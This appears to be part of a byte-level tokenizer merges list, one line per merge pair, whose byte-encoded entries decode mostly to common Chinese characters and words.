æĩĪ +åŁ ł +åĹ ĵ +èĢģ çĪ· +è® ½ +æĪĺ ç»ĦåIJĪ +æ£ ł +åħ¨ åŁŁ +èł ¢ +è¯ ¡ +åīį çŀ» +æķ Ľ +ä¸Ģ å°ģ +å¹ Ĥ +èİ Ĩ +è¯Ŀ è¯Ń +ç»Ĩ åĪĻ +å± ¿ +åµ Į +éĢ į +åĺ ± +æ¸ ² +çĥ ¯ +çĿ ¹ +é¦ Ĵ +èħ ¥ +æĬĹ åĩ» +çĿ « +èį Ķ +éļ İ +æ³ī æ°´ +è¬ Ĥ +ç Ĥ¬ +åĩı æİĴ +è¸ Ĭ +è ·» +æ· Į +éľ ¾ +å¥ĩ 纳 +å¯ Ŀ +æ¤ İ +æŁ ¬ +æĸ¯ åŁº +åħ¬ ç«ĭ +è¨ ĵ +é£ Ļ +é© ¿ +åĤ µ +èĽ Ļ +ç¯ĩ 竳 +åĪĨ æĶ¯ +ä¸Ĭ å¹´ +çŃ Ŀ +ç¼ ¤ +èĢģ æĹ§ +åĻ ¬ +æľ ¦ +èĥ § +æ¶Ī è²» +æĵ Ķ +æ¦ ´ +æ¿ Ĵ +ç³ ¯ +æ³ ¸ +æį Ĩ +ç» ļ +èµ İ +çIJ IJ +èµ Ĥ +æħ ® +æ² Į +çĦ Ļ +æĴŃ æĬ¥ +æ· ĩ +åĪĩ åħ¥ +çij ķ +çĸ µ +éģ ´ +ç¨ ļ +ç© © +èŀ ĥ +æ£ ķ +æĨ § +æĨ ¬ +ä¼ º +æ¯ Ĺ +æį į +æĬ ī +ç´ Ĭ +å¼ Ľ +æĭ Ń +æĹı èĩªæ²» +åĿ · +ç« ¶ +è© ³ +è¿Ħ ä»Ĭ +è° ´ +çŀŃ è§£ +æŁ ¿ +é¢ Ĭ +ç° § +çĥŁ èĬ± +ä¾ ¥ +çĿ ¦ +éħ Ŀ +æ° ĵ +çIJ ī +å§ Ĭ +æ² ® +æħ · +èľ ķ +çij ļ +éĩĩ çŁ¿ +åł ° +åºķ èķ´ +èĨ ³ +è¾ ķ +éŁ Ń +åĴ Ļ +ç² ½ +åī Ķ +æ² ¦ +èĤ ´ +éķ ¶ +æĺ ¼ +è¾ Ĺ +å© ª +åĮ ® +æĸ ĵ +æ± ¶ +éĥ ´ +éł » +çª Ĵ +è¢ ± +åĽ ± +èĢ ĺ +è ļĮ +çĭ Ļ +çĹ ¹ +ç¥ ī +æı ® +æ· Ĩ +ç£ ĭ +éĺ ª +æ « +ã ¸ +Ļ ¶ +ã ij +𣠲 +ä ¢ +ã Ń +𬠨 +ð¬ Ģ +𬠮 +𬠯 +ð¬ ľ +𪠨 +ð« Ĺ +ð¬ Ĭ +𬠱 +ð¬ Ł +ä İ +ð ¡ +ä ĥ +ã ł +ð © +ð© ¾ +𬠺 +ð¬ Ļ +ãĢ Ķ +ãĢ ķ +çļĦ æĹ¶åĢĻ +æľīéĻIJ åħ¬åı¸ +ä¹ĭ åIJİ +ä¸ļ åĬ¡ +åķ Ĭ +èϽ çĦ¶ +æĭ¥ æľī +äºĴ èģĶç½ij +éĤ£ äºĽ +ä½ł çļĦ +åĨ³ å®ļ +éϤ äºĨ +åĽ¢ éĺŁ +åı¯ æĺ¯ +以 åIJİ +社 åĮº +çļĦ éĹ®é¢ĺ +å¹¶ ä¸Ķ +æķĻ å¸Ī +å°± ä¼ļ +天空 éĥ¨èIJ½ +æľĢ ç»Ī +å½ĵ çĦ¶ +ä¹Ł æľī +ç¡® ä¿Ŀ +æĥ³ è¦ģ +è´Ń ä¹° +人 çļĦ +åIJ ´ +çļĦ åıijå±ķ +ä¸į çŁ¥éģĵ +软 ä»¶ +æĪij们 çļĦ +çζ æ¯į +åī ij +èĢĮ æĺ¯ +å®ī æİĴ +åIJİ æĿ¥ +çļĦ åľ°æĸ¹ +èµ µ +èĢĥ è¯ķ +çªģ çĦ¶ +ä¸Ģå®ļ è¦ģ +åζ ä½ľ +è¯Ħ ä»· +åħį è´¹ +è´¹ ç͍ +绣 ä¸Ģ +çĦ¶ èĢĮ +è¿Ļ 次 +éĿĴ å¹´ +人 ç±» +äº ¦ +让 人 +è´Łè´£ 人 +éĩĩ åıĸ +çļĦ äºĭæĥħ +ä¹Ł ä¼ļ +车 è¾Ĩ +æĽ´ æĺ¯ +强 åĮĸ +æĪij åĢij +以 åīį +ä¼ĺ åĮĸ +å§Ķåijĺ ä¼ļ +åĽ° éļ¾ +å¹´ 度 +ä½į äºİ +æĮĩ åĩº +åĨį æ¬¡ +åĬŀ çIJĨ +æ¯ı 个 +对 æĸ¹ +è¿Ľè¡Į äºĨ +æľĢ é«ĺ +课 ç¨ĭ +身 ä¸Ĭ +æĽ¾ ç»ı +åĮ» çĶŁ +å®ī è£ħ +æľ ± +è¿IJ è¡Į +åıĮ æĸ¹ +æľĢ 大çļĦ +æŀĦ 建 +è¿ŀ ç»Ń +çļĦ å°ı +她 çļĦ +çŃī çŃī +æĶ¹ åĸĦ +åIJĦ ç±» +éģĩ åΰ +æľī çĿĢ +人 çī© +æĢ» æĺ¯ +è¿ħ éĢŁ +åζ å®ļ +å®ĥ 们 +å®ĺ ç½ij +è¿ĺ è¦ģ +ç»Ī äºİ +æĪ¿ åľ°äº§ +è¯ģ æĺİ +èĤ¡ 票 +åºĶ å½ĵ +èĭ± åĽ½ +è¿IJ ç͍ +æľĢ æĸ° +享 åıĹ +让 æĪij +æĻļ ä¸Ĭ +å¾ ŀ +å°ı 说 +å°¤åħ¶ æĺ¯ +è®Ń ç»ĥ +åħ¨ å¸Ĥ +æĮij æĪĺ +æľī çĤ¹ +带 çĿĢ +çļĦ ä¸ľè¥¿ +é£İ æł¼ +é»Ħ éĩij +å¼ķ 导 +æŃ¤ å¤ĸ +æľĢ è¿ij +追 æ±Ĥ +强 è°ĥ +ä¹Ł åı¯ä»¥ +æĦŁ åΰ +èĩª æĪij +çī¹åĪ« æĺ¯ +æĪIJ éĥ½ +éĢIJ æ¸IJ +å¿« ä¹IJ +ä¹ĭ ä¸Ń +æĬķèµĦ èĢħ +ä»ĸ们 çļĦ +æ° ı +å·¥ä½ľ 人åijĺ +äºĨ ä¸Ģ个 +åķ ¦ +ä¸Ģ åĢĭ +åŁº å±Ĥ +æ²Ł éĢļ +第ä¸Ģ 次 +å¹¶ 没æľī +çļĦ å·¥ä½ľ +åľ¨ è¿ĻéĩĮ +æŀ ª +æĶ¯ æĴij +æĹ¶ å°ļ +æĿ¥ åΰ +æĶ¶ è´Ń +éĿ© åij½ +æĺ¯ ä¸įæĺ¯ +讨 论 +ä¸ļ 绩 +å°± èĥ½ +ç«ĭ åį³ +è¡Ĺ éģĵ +åľ¨ ä¸Ģèµ· +æľĪ 份 +é«ĺ 端 +å¾Ī éļ¾ +ä¿Ħ ç½Ĺæĸ¯ +æīĭ 段 +åģļ åĩº +ä¼Ĺ å¤ļ +å®ŀ è¡Į +æīĵ å¼Ģ +游 客 +ä¾Ŀ çĦ¶ +å°± åĥı +离 å¼Ģ +说 éģĵ +æĸ° èĥ½æºIJ +æº ª +äº ķ +令 人 +ä¸Ģ åľº +æĪij æĥ³ +两 人 +èĩ³ å°ij +çļĦ çĶŁæ´» +æĺ¯ 个 +èĭ± è¯Ń +æ²Ĵ æľī +æĢĿ èĢĥ +éĻIJ åζ +åı° æ¹¾ +ä¸Ģ æĹ¦ +çļĦ ä¸Ģ个 +é«ĺ 级 +åĬŀåħ¬ 室 +å¾· åĽ½ +æĪij å°± +å®ļ ä½į +éĢĤ åºĶ +æĮĩ æłĩ +åħ¨ çľģ +ä¸Ĭ è¿° +å®ĥ çļĦ +åĽŀ å®¶ +欧 æ´² +éĵģ è·¯ +é¼ĵ åĬ± +çļĦ å½±åĵį +é«ĺ æł¡ +天 ä¸ĭ +é«ĺ è´¨éĩı +æĿŃ å·ŀ +èµĦ 讯 +æĶ¾ åľ¨ +æľī ä¸Ģ个 +å°± è¦ģ +ä¸Ĭ éĿ¢ +è§£ éĩĬ +éĢIJ æŃ¥ +å°½ 管 +æľī ä»Ģä¹Ī +çļĦ äºĭ +çĻ» è®° +人æ°ij å¸ģ +è§Ĥ ä¼Ĺ +è§Ĥ å¯Ł +ç͵ èĦij +çļĦ åIJĮæĹ¶ +ä½ľ ä¸ļ +宣 å¸ĥ +çļĦ ä½ľç͍ +åĽŀ æĿ¥ +éļ¾ ä»¥ +æīĢæľī çļĦ +å°ı åѦ +æıIJ åīį +æ¤į çī© +åĩ ¯ +ä¸Ĭ äºĨ +å°± åľ¨ +åħĪ åIJİ +æīĭ æľ¯ +éĥ Ń +éĿ¢ åīį +æ¯ķ 竣 +äºĮ æĺ¯ +红 èī² +éĺ³ åħī +èĭ¹ æŀľ +å¾Īå¤ļ 人 +ç»Ļ æĪij +åĵ ¦ +çľ¼ çĿĽ +éł Ń +ä¸Ģ æĺ¯ +åıijå±ķ çļĦ +åıį åºĶ +æĪ¿ å±ĭ +æľŁ å¾ħ +ç§į æ¤į +æĸĩ åѦ +åį³ åı¯ +é¦ĸ 次 +èĭ± éĽĦ +å¤ļ 次 +åĮħ è£ħ +æ²³ åįĹ +ä¹ĭéĹ´ çļĦ +ä»į çĦ¶ +åIJ¬ åΰ +èij£äºĭ éķ¿ +è§Ħ åĪĻ +ä¸Ģ 份 +大 ä¼Ĺ +使 å¾Ĺ +è¿Ľ åı£ +ä¸Ģ çīĩ +æĢ§ çļĦ +çļĦ 大 +æĪij æĺ¯ +äºĴ åĬ¨ +æ° £ +çļ Ĩ +åħ¬åı¸ çļĦ +ä¸Ģ è¾¹ +åıĬ åħ¶ +èī¯ å¥½çļĦ +æĭĵ å±ķ +å½ĵ å¹´ +广 åľº +åģļ äºĨ +åŁº äºİ +æıIJ éĨĴ +åħĦ å¼Ł +èĢģ æĿ¿ +è¿ij æĹ¥ +çĬ¶ åĨµ +注 éĩį +åĪļ åĪļ +è°ĥ çłĶ +å¿ĥ ä¸Ń +æĬĬ æı¡ +éļı åIJİ +ä¸į å¤Ł +åĪĽ ä½ľ +ç«Ļ åľ¨ +缸 äºĴ +çĸ«æĥħ éĺ²æİ§ +å¹´ 代 +带 åĬ¨ +伤 害 +竣 çĦ¶ +å¼ķ è¿Ľ +ç´¯ 计 +让 æĪij们 +åĽŀ æĶ¶ +æĬ¥ åIJį +åĬ© åĬĽ +èģĶ çĽŁ +çŃĸ çķ¥ +åij¨ è¾¹ +åĭ Ĵ +è¿ĺ åľ¨ +æµģ éĩı +寻 æī¾ +ç͵ åĬĽ +èι èζ +è¿ĺ èĥ½ +æĭħ ä»» +çļĦæĥħåĨµ ä¸ĭ +çļĦ åİŁåĽł +缺 ä¹ı +çIJĥ åijĺ +å²ģ çļĦ +çĶ· åŃIJ +å·¥ èµĦ +è¿ijå¹´ æĿ¥ +åij Ģ +æıIJä¾Ľ äºĨ +她 们 +å®¶ åħ· +çĩ ķ +è½» æĿ¾ +æł¡ åĽŃ +èĢĥ æł¸ +åį± éĻ© +åħļ ç»Ħç»ĩ +æĢ» ç»ıçIJĨ +çļĦ æĸ° +çİ» çĴĥ +è¿Ļ ä½į +对 æŃ¤ +å®¶ 人 +çļĦ è¦ģæ±Ĥ +温 度 +æĮĩ æķ° +缴 åΰ +æŃ¤ æĹ¶ +æ¹ĸ åįĹ +éĥ½ è¦ģ +ä½ľ åĩº +åIJĦ ä½į +èĢĥ çĶŁ +ä¾Ŀ æį® +说 è¯Ŀ +æĪij ä¹Ł +å·¥ åİĤ +åıĺ æĪIJ +ä»ĸ 人 +æĪij è§īå¾Ĺ +åIJĦ 级 +ä¼łå¥ĩ ç§ģæľį +ä¸Ĭ åįĩ +好 åĥı +åĬł éĢŁ +äºĮ åįģ +è¢ ģ +è£ħ 饰 +éĥ½ èĥ½ +ä¸Ģ å¼ł +åĬ¨ æĢģ +å¹´ çļĦ +è¿Ļ å°±æĺ¯ +ä¹Ł è¦ģ +èµĦ æł¼ +æĪĺ äºī +æĦŁ è°¢ +åŁ¹ èĤ² +天 æ°Ķ +女 士 +åı¯èĥ½ ä¼ļ +çļĦ 产åĵģ +ä¹Ł å°± +主è¦ģ æĺ¯ +åĪº æ¿Ģ +ç»Ļ ä½ł +大 æķ°æį® +åĮ» åѦ +åĪ ¤æĸŃ +ä»ĸ 说 +表 æ¼Ķ +äºļ æ´² +ä¸ĵ é¢ĺ +ç«ŀäºī åĬĽ +éĤ£ æł· +å±ķ å¼Ģ +å¹³ æĹ¶ +æİ¥ ä¸ĭæĿ¥ +æī¿ 诺 +æ³ķ åĽ½ +åħ³ å¿ĥ +ä¼ļ æľī +éĤĢ è¯· +é¢Ħ éĺ² +对 æİ¥ +好 äºĨ +åĴ± 们 +çļĦ æĦŁè§ī +æĢĿ è·¯ +éĥ½ 没æľī +çļĦ æĸ¹æ³ķ +女 åŃIJ +åı¸ æ³ķ +è¿ĺ ä¼ļ +è¶ĬæĿ¥è¶Ĭ å¤ļ +åĽł çĤº +æµ· åįĹ +人 æķ° +å°Ĩ ä¼ļ +ä¸ļ 主 +é¤IJ 饮 +å±ħ ä½ı +åıij åĩº +è¿ij æľŁ +å¼ķ é¢Ĩ +æľºåύ 人 +åĩºæĿ¥ çļĦ +çľĭ è§ģ +ä¿ Ĭ +让 ä»ĸ +ä¸į æĥ³ +å·¥ä½ľ çļĦ +è¡¥ åħħ +æµ ħ +çī¹ å¾ģ +ä¸Ĭå¸Ĥ åħ¬åı¸ +ç¾İ é£Ł +广 西 +æ¯ı ä¸Ģ个 +èIJ½ åľ° +åĵģ ç§į +åĴĮ è°IJ +å½» åºķ +é«ĺ èĢĥ +æĺ¨ 天 +åīį å¾Ģ +çĽij æµĭ +çϾ 度 +åľ¨ ä¸ŃåĽ½ +çļĦ éľĢæ±Ĥ +亿 ç¾İåħĥ +åѦ æľ¯ +æĶ¶ åΰ +æĿ¿ åĿĹ +ä¸Ģ 段 +æŀĦ æĪIJ +ä¼ģä¸ļ çļĦ +表 éĿ¢ +æķ´ çIJĨ +ç»ĵ å©ļ +人 å®¶ +åģľ æŃ¢ +åѦ ç§ij +æĺ¾ å¾Ĺ +ä¼ij æģ¯ +é¢Ħ æľŁ +æĪĸ æĺ¯ +çļĦ 主è¦ģ +åºĶ 对 +èµ° äºĨ +ä¸Ń éĹ´ +èµ° è¿Ľ +åijĪ çݰ +æIJŃ éħį +é¹ ı +æĺ¯ åĽłä¸º +æĥħ 绪 +å®ļ æľŁ +社ä¼ļ 主ä¹ī +çŃī 级 +磼 çĽ¾ +é£ŀ æľº +èĩ³ ä»Ĭ +æĶ¶ éĽĨ +çļĦ æķħäºĭ +åĪĩ å®ŀ +å®ŀçݰ äºĨ +å½¢ æĪIJäºĨ +åįĹ æĸ¹ +ä¸Ń åѦ +æµ· æ´ĭ +åIJ¦ åĪĻ +æĭį æijĦ +大åѦ çĶŁ +åĩºçݰ äºĨ +æĦı å¤ĸ +ä¹Ł èĥ½ +çļĦ èĥ½åĬĽ +åĿIJ åľ¨ +åĪĻ æĺ¯ +èĢĥ å¯Ł +å°Ĭ éĩį +éĺ² æŃ¢ +ç´§ å¼ł +读 书 +åĩº è¡Į +å°± æľī +å±¥ è¡Į +çݰ代 åĮĸ +åĽ½ åĬ¡ +åĽ½åĬ¡ éĻ¢ +ç»´ ä¿® +åİŁ åĪĽ +æĺ¯ æĮĩ +ä¼ij éĹ² +çĤ ® +æĸ° æĹ¶ä»£ +éĢĻ åĢĭ +ä¸į æķ¢ +å®Į ç¾İ +ç»Ĩ èĬĤ +éŃ ı +èͬ èıľ +é¢Ĩ导 çıŃåŃIJ +è¶ħ 级 +è¡Į æĥħ +人工 æĻºèĥ½ +åį° åº¦ +åŁºç¡Ģ 设æĸ½ +åıĪ æĺ¯ +èᝠçī© +åIJ¸ æĶ¶ +åį´ æĺ¯ +éĥ İ +å¥ĸ åĬ± +çļĦ æľĭåıĭ +ä¿Ŀ çķĻ +è§Ħ å¾ĭ +æĸ° çĸĨ +è¿ĺ åı¯ä»¥ +æİ¥ è¿ij +æŃ¤ åīį +æī¹ åĩĨ +æĢİä¹Ī æł· +çļĦ ä½įç½® +ä¸Ģ åĿĹ +æĭĴ ç»Ŀ +顾 客 +ä¹Ł åľ¨ +ä¸Ģ çĶŁ +éĥ¨ éĺŁ +å¹´ åīį +æĸ¹éĿ¢ çļĦ +å°Ŀ è¯ķ +羣æŃ£ çļĦ +ç¦ģ æŃ¢ +è¿ĺ 没æľī +æ°ij çĶŁ +èµ° åIJij +èĦ¸ ä¸Ĭ +å½ĵ 天 +éĽĨåĽ¢ åħ¬åı¸ +çļĦä¸Ģ ç§į +西 æĸ¹ +åĽŀ åºĶ +ä¸Ģ 声 +常 常 +æıIJ åΰ +èħ¾ 讯 +æľį è£ħ +为 ä½ķ +äºij åįĹ +å°± ç®Ĺ +ä¼ł æī¿ +åıį èĢĮ +ä¸ĩ åIJ¨ +è´¢ 产 +å¦Ĥ ä¸ĭ +æĹ¥ åīį +åİŁ æľ¬ +æľĢ éĩįè¦ģçļĦ +认 è¯ģ +ä¸Ģ éģĵ +ä¿¡æģ¯ åĮĸ +å¾Ĺ åΰäºĨ +é̲ è¡Į +æĪij è¦ģ +éĢļ ä¿¡ +室 åĨħ +èµļ éĴ± +æĶ¶ èĹı +è§£åĨ³ æĸ¹æ¡Ī +æĪ¿ 产 +çĭ ¼ +æ´» åĬĽ +ç»ıæµİ åıijå±ķ +çŃī å¾ħ +ä¹Ł å¾Ī +åĿ ij +å¾Ī 好çļĦ +éļ¾ åº¦ +ä¸į å¦Ĥ +人æ°ij æĶ¿åºľ +åĩº åıij +åīį æľŁ +æ¼Ķ åijĺ +女 çĶŁ +èģļ çĦ¦ +审 计 +é¢Ħ æµĭ +ä¾Ŀ æīĺ +äºĶ å¹´ +è¡¥ è´´ +æ¸ħ æĻ° +éª Ĥ +çľĭ èµ·æĿ¥ +çļĦ åŃ©åŃIJ +é¢ij éģĵ +ä½ı å®ħ +éĿ¢ åIJij +æľĢ ä½İ +æĹ¢ çĦ¶ +ä¸Ģ å¥Ĺ +æķ° åѦ +群 ä½ĵ +åĮĹ京 å¸Ĥ +å±ħ çĦ¶ +æ°Ľ åĽ´ +éĢĶ å¾Ħ +çļĦ åŁºç¡Ģä¸Ĭ +èģĮ è´£ +åı¯èĥ½ æĺ¯ +åĨĽ äºĭ +æĪIJ æķĪ +åŃ©åŃIJ 们 +计ç®Ĺ æľº +èµ ¤ +产ä¸ļ åıijå±ķ +å·¨ 大çļĦ +å·¥ 人 +çĶŁ éķ¿ +éĥ½ åı¯ä»¥ +çļĦ æľºä¼ļ +èµĦ è´¨ +çĹĽ èĭ¦ +ç²ī ä¸Ŀ +å¢ ĵ +å¹³ å®ī +管 éģĵ +è·Ł çĿĢ +饮 é£Ł +åķĨ å®¶ +å¤ļ å®¶ +åı¸ æľº +åºĶ该 æĺ¯ +éĢı éľ² +认 å®ļ +è¡Įä¸ļ çļĦ +çļĦ ä¼ģä¸ļ +æ¯ı ä¸Ģ +èĮĥåĽ´ åĨħ +è¾ĥ 大 +è´ ¤ +大 èµĽ +å¤ļ äºĨ +é¸ ¿ +临 åºĬ +åľ¨ è¿Ļ个 +çļĦ åĨħ容 +éĶĢ éĩı +å¾Ī å°ij +åŃ Ł +ç»´ æĮģ +åĴĸ åķ¡ +æľ¬ åľ° +èī² å½© +å¹¶ éĿŀ +èĢĮ å·² +温 æļĸ +èIJ § +æĬĵ ä½ı +èĢĮ ä¸įæĺ¯ +åĸ Ĭ +çļĦ åħ³ç³» +çī© åĵģ +éĤ£ æĺ¯ +åĨľ 产åĵģ +è¿Ļ æĹ¶ +å©ļ å§» +æ°´ æŀľ +æĶ¶ èİ· +ä»ĺ åĩº +客æĪ· 端 +æ¼Ķ åĩº +åħ¨ æĸ° +è¿Ļ ä¹Łæĺ¯ +æĺ¯ çͱ +è§Ĥ 念 +æľī 个 +éĢł åŀĭ +èĥľ åĪ© +ä¸ī æĺ¯ +è¶ħ å¸Ĥ +åħļ建 å·¥ä½ľ +æĶ¾ å¿ĥ +线 è·¯ +æĭĽ çĶŁ +åIJĥ é¥Ń +è½ ī +å°½ éĩı +è§ģ åΰ +åIJĮæ¯Ķ å¢ŀéķ¿ +åįİ ä¸º +æĪij å¸Ĥ +æıIJ åĩºäºĨ +æ°ij èѦ +åįļ çī© +åįļçī© é¦Ĩ +è¯ļ ä¿¡ +åīį éĿ¢ +å±± 西 +è¾ħ åĬ© +转 ç§» +æĽ´ 为 +丰å¯Į çļĦ +åį ¢ +å¿« éĢĴ +æĺ¾ èijĹ +çī© èµĦ +åΰ è¾¾ +æľī åĪ©äºİ +åij Ĩ +åŃ©åŃIJ çļĦ +ä¸į ä½Ĩ +çłĶç©¶ éĻ¢ +çͳ æĬ¥ +æļ ¨ +æ°ij éĹ´ +åį » +çļĦ å£°éŁ³ +å¸Ĥåľº çļĦ +ä¸Ģ åı¥ +çľģ 级 +æĿ¥ çļĦ +åĵª 个 +æīį ä¼ļ +åĪĨ éħį +èĶ ¡ +ä»ĸ åľ¨ +åħ± æľī +å¡ ĺ +èĴ Ĥ +éľ į +åıĤ è§Ĥ +ä¸Ī 夫 +ä¾Ŀ éĿł +æľī æĹ¶ +äºĨ å¾Īå¤ļ +ä¸ĸçķĮ æĿ¯ +å®¶ æĹı +ä¸į éľĢè¦ģ +大 å¸Ī +èŀį åħ¥ +éĿŀ æ³ķ +çĹħ 人 +åIJİ æľŁ +大家 éĥ½ +ç½ij åĿĢ +åİŁ æĸĻ +便 å®ľ +æ¶ Ľ +仿 ä½Ľ +å·® è·Ŀ +åı¦ä¸Ģ æĸ¹éĿ¢ +产åĵģ çļĦ +èµ « +æĥħåĨµ ä¸ĭ +éĴ¢ éĵģ +æľ¬ ç«Ļ +纳 åħ¥ +å·² æľī +æľī 没æľī +ä¼° 计 +é£ ĺ +æľŁ è´§ +åĢĭ人 è³ĩæĸĻ +ä¸ĵä¸ļ çļĦ +çĪĨ åıij +èĩ´åĬĽ äºİ +çİ°åľ¨ çļĦ +æľī åĵªäºĽ +çł´ åĿı +æķ°åŃĹ åĮĸ +åľ° éĿ¢ +é»ij èī² +å¹¼åĦ¿ åĽŃ +çļĦ ç²¾ç¥ŀ +äº Ń +导 æ¼Ķ +çݰ æľī +æŃ¦ åύ +èĭı å·ŀ +çİ Ħ +æ±Ł 西 +å»¶ 伸 +论 æĸĩ +è¾ĥ 为 +çİ© æ³ķ +é¼ İ +åIJĮ æŃ¥ +éĩĬ æĶ¾ +æĽĿ åħī +åĿļ åĨ³ +å§Ķ æīĺ +å°Ĩ åľ¨ +äºĪ 以 +ä½ľ æĸĩ +èĢĮ åľ¨ +ä¼ĺ åħĪ +åĽŀ åİ» +ä¿® å¤į +åĽ½åĨħ å¤ĸ +çŃĸ åĪĴ +åıij æĶ¾ +å¿ĥ æĥħ +çļĦ åİĨåı² +éĿ¢ è¯ķ +举 åĮĹ +ä¿¡ åı· +ç²® é£Ł +è¯ģ 书 +æŁIJ äºĽ +è¿IJ ä½ľ +åĨ² åĩ» +çĥŃ çĤ¹ +æĹ¶ æĹ¶ +æĹ¶æĹ¶ 彩 +åľ° çĤ¹ +ä¸Ģä½ĵ åĮĸ +éļ¾ é¢ĺ +æĽ ° +ç«ĭ åĪ» +æĺ¯ éĿŀ常 +åħ± åĴĮ +åħ±åĴĮ åĽ½ +æ¿Ģ åĬ± +æľīæķĪ çļĦ +å¤Ħ ç½® +该 åħ¬åı¸ +æ£Ģ éªĮ +èѦ æĸ¹ +è´ ¾ +äºĨä¸Ģ ä¸ĭ +ä»Ĭ åIJİ +çħ ® +ç͍ åĵģ +读 èĢħ +æĪij åľ¨ +åĽŀ å¤į +ä¸Ģ 座 +è¿ĺ 没 +å®ļ åζ +没 æĥ³åΰ +å¤ ¹ +ä¼ł éĢĴ +ä¸Ģ 款 +强 大çļĦ +çļĦ è¡Į为 +å¤ı 天 +åıijåĬ¨ æľº +é¢ĨåŁŁ çļĦ +å®ŀéªĮ 室 +ä¸Ģ æĬĬ +æĺ¯ 为äºĨ +éĻķ 西 +æĭħ ä¿Ŀ +è¾¾ æĪIJ +è¦ģ æĺ¯ +æĺİ å¤© +ç»Ļ ä»ĸ +建ç«ĭ äºĨ +ä¸į è¡Į +ä¸Ń æĸĩ +åľ° 说 +åIJİ çļĦ +çĽij æİ§ +éĢ ¸ +æĢ» éĥ¨ +æľ¬ æĸĩ +é¹ ¿ +æĻ¯ è§Ĥ +çļĦ 缮æłĩ +èĽ ĩ +åĨ ¯ +ä¸Ń åĮ» +æķĪ åºĶ +产 éĩı +åŃ Ŀ +è´¦ æĪ· +è¿Ŀ åıį +èij£äºĭ ä¼ļ +京 举 +责任 ç¼ĸè¾ij +åķı é¡Į +çα å¿ĥ +èѦ å¯Ł +é¤IJ åİħ +å¸Ĥ æĶ¿åºľ +天 天 +æĸ° é²ľ +éĥij å·ŀ +è¶ħ è¶Ĭ +å½ Ń +çŁ¥è¯Ĩ 产æĿĥ +åĽŀ å¿Ĩ +è·¯ 线 +å»ī æ´ģ +éĿĴ å°ijå¹´ +åıĸå¾Ĺ äºĨ +çľĭ åΰäºĨ +é¦ ¬ +ç²¾ åĵģ +åľ° éĵģ +æĮģ æľī +ä¸ĭ äºĨ +æľī æĹ¶åĢĻ +ä¸Ģ 人 +æĴ Ĵ +ä»Ķ ç»Ĩ +èĢģ åħ¬ +äºĭå®ŀ ä¸Ĭ +èģĶ èµĽ +ä¾ĽåºĶ éĵ¾ +é¢Ħ ç®Ĺ +åζéĢł ä¸ļ +å®īåħ¨ çĶŁäº§ +俱 ä¹IJ +俱ä¹IJ éĥ¨ +çļĦ æł¸å¿ĥ +æīĵ ç®Ĺ +å½± çīĩ +æIJŃ å»º +ä¹Ł ä¸įä¼ļ +æĭħ å½ĵ +å±Ĥ éĿ¢ +åѦ åijĺ +临 æĹ¶ +缸 ç»ĵåIJĪ +对 æ¯Ķ +ä»ĸ æĺ¯ +æĸ° åĮº +è¿Ľ åİ» +çϾ å¹´ +ä¿ © +å°½ å¿« +ç͵åŃIJ åķĨåĬ¡ +æĽ´ æľī +æ¸ħ çIJĨ +åı¦ ä¸Ģ个 +åĤ » +ä»Ģä¹Ī æł·çļĦ +æĺ¯ æľĢ +åij¨ å¹´ +å¾Ī 容æĺĵ +åĽ¢ ç»ĵ +ç´ Ħ +æĹ© å·² +çļĦ åıĺåĮĸ +éľ ŀ +æĹ¥ ä¸ĬåįĪ +失 åİ» +ä¸Ń åľĭ +çļĦä¸Ģ äºĽ +å°ı åŃ© +ä¸ĭ è·Į +éĶ» çĤ¼ +é ij +éij « +å¿ĹæĦ¿ èĢħ +èĤ¡ å¸Ĥ +èµĽ äºĭ +许åı¯ è¯ģ +åı¯ æĮģç»Ń +åijĬè¯ī è®°èĢħ +éĢ» è¾ij +å¼ķ åħ¥ +çļĦ è¿ĩç¨ĭä¸Ń +è§Ĩ è§ī +èĩªæ²» åĮº +è¯ģ æį® +è£ħ ç½® +第ä¸ī æĸ¹ +å¹´ æĿ¥ +å¹¿ä¸ľ çľģ +带æĿ¥ äºĨ +éķ¿ æ±Ł +访 éĹ® +å·® ä¸įå¤ļ +æĺ¯ æĪij +éģŃ éģĩ +æĬĵ 好 +é«ĺ è¾¾ +å¹¶ åľ¨ +èĩª è§ī +ä¾ĽåºĶ åķĨ +æĥħ æĦŁ +ä½ı äºĨ +çļĦ èģĮä¸ļ +çļĩ å¸Ŀ +西 éĥ¨ +åĴĮ å¹³ +çļĦ åĬĽéĩı +æ± ª +åħħåĪĨ åıijæĮ¥ +æĬķ è¯ī +èµ· åΰ +äºĴ 缸 +æ¾³ éŨ +æİ¥ åΰ +æ°´ æ³¥ +模 åŀĭ +ä¸Ģ åįĬ +ç§© åºı +æĪij们 åľ¨ +æī¿ 认 +ä¸Ģ éĥ¨åĪĨ +åįł æ¯Ķ +å¦ĩ 女 +ç² ĺ +äºĨè§£ åΰ +ä¸Ģå®ļ ä¼ļ +åIJĦ 大 +èµ° åĩº +为 大家 +é«ĺ éĵģ +åı¯ä»¥ åľ¨ +ä½Ĩ åľ¨ +çĶŁæĢģ çݯå¢ĥ +èı ¯ +çļĦ ä»·æł¼ +麻 çĥ¦ +æ¿Ģ åıij +éĤ£ å°± +çļĦ æł·åŃIJ +为 æŃ¤ +天 åľ° +çļĦ 缮çļĦ +åĢº åΏ +å·² ç¶ĵ +åĽĽ 大 +åIJĮæĹ¶ ä¹Ł +å½¼ æŃ¤ +æĭ¿ åΰ +åIJ« éĩı +åįģ 大 +éļ¾ éģĵ +å¼ Ĺ +ä¸Ģ 段æĹ¶éĹ´ +çħ§ 顾 +æķ°æį® æĺ¾ç¤º +æĪIJ为 äºĨ +èµ° åΰ +æľ¬ åħ¬åı¸ +ç»Ī 端 +ä¹Ł ä¸įæĺ¯ +头 åıij +大 约 +é£İ æĻ¯ +æ¶Ī èĢĹ +审 æŁ¥ +äºī åıĸ +æ³ķ æ²» +äºĭ çī© +ç¼ĵ è§£ +æĥ ¨ +缸åºĶ çļĦ +çļĦ æķĪæŀľ +åıį å¤į +åıijçĶŁ äºĨ +éĢĻ äºĽ +ç»ĥ ä¹ł +åݨ æĪ¿ +å¼Ģ æĭĵ +欣 èµı +夫 妻 +ä¸į ä¸Ģæł· +产 èĥ½ +èĬ¯ çīĩ +è¦ģ ç´ł +åıį 对 +çİĩ åħĪ +è´§ çī© +æĹ¥ ç͵ +ä½ľ å®¶ +æĶ¹ è¿Ľ +æĪIJ åĪĨ +åĽł èĢĮ +åĩı èĤ¥ +æ½ ĺ +å±±ä¸ľ çľģ +åĬ Ŀ +åŁ ĭ +æŃ¦ è£ħ +æ±ĩ æĬ¥ +ä¸Ģ个 æľĪ +çĥŃ éŨ +大 éģĵ 